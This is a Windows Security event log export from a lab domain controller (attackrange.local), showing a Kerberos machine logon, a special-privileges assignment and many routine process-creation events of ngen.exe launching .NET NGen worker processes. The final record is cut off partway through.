EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=254997
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x2369C4
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		62531

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:07:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=254996
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x2369C4

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:07:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254995
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5b8
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 560 -InterruptEvent 0 -NGENProcess 404 -Pipe 5e0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254994
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5e8
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 528 -InterruptEvent 0 -NGENProcess 5a0 -Pipe 5b8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254993
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10bc
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 5fc -InterruptEvent 0 -NGENProcess 5bc -Pipe 608 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254992
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1130
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 60c -InterruptEvent 0 -NGENProcess 5f8 -Pipe 5e4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254991
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1118
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 560 -InterruptEvent 0 -NGENProcess 5f0 -Pipe 620 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254999
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf50
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 5a0 -InterruptEvent 0 -NGENProcess 604 -Pipe 528 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255001
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf6c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 5f0 -InterruptEvent 0 -NGENProcess 464 -Pipe 5c0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255000
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5cc
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 60c -InterruptEvent 0 -NGENProcess 628 -Pipe 63c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:03 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255006
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe48
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 614 -InterruptEvent 0 -NGENProcess 628 -Pipe 62c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:03 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255005
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10e8
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 5b4 -InterruptEvent 0 -NGENProcess 628 -Pipe 5f8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:03 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255004
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe84
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 5b4 -InterruptEvent 0 -NGENProcess 5bc -Pipe 604 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:03 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255003
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc30
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 640 -InterruptEvent 0 -NGENProcess 560 -Pipe 634 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:03 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255002
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x128c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 628 -InterruptEvent 0 -NGENProcess 5b4 -Pipe 60c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255010
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1120
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 5b4 -InterruptEvent 0 -NGENProcess 61c -Pipe 5f0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255009
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1168
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 61c -InterruptEvent 0 -NGENProcess 560 -Pipe 628 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255008
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13ac
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 630 -InterruptEvent 0 -NGENProcess 5f0 -Pipe 618 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:08:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255007
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1024
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
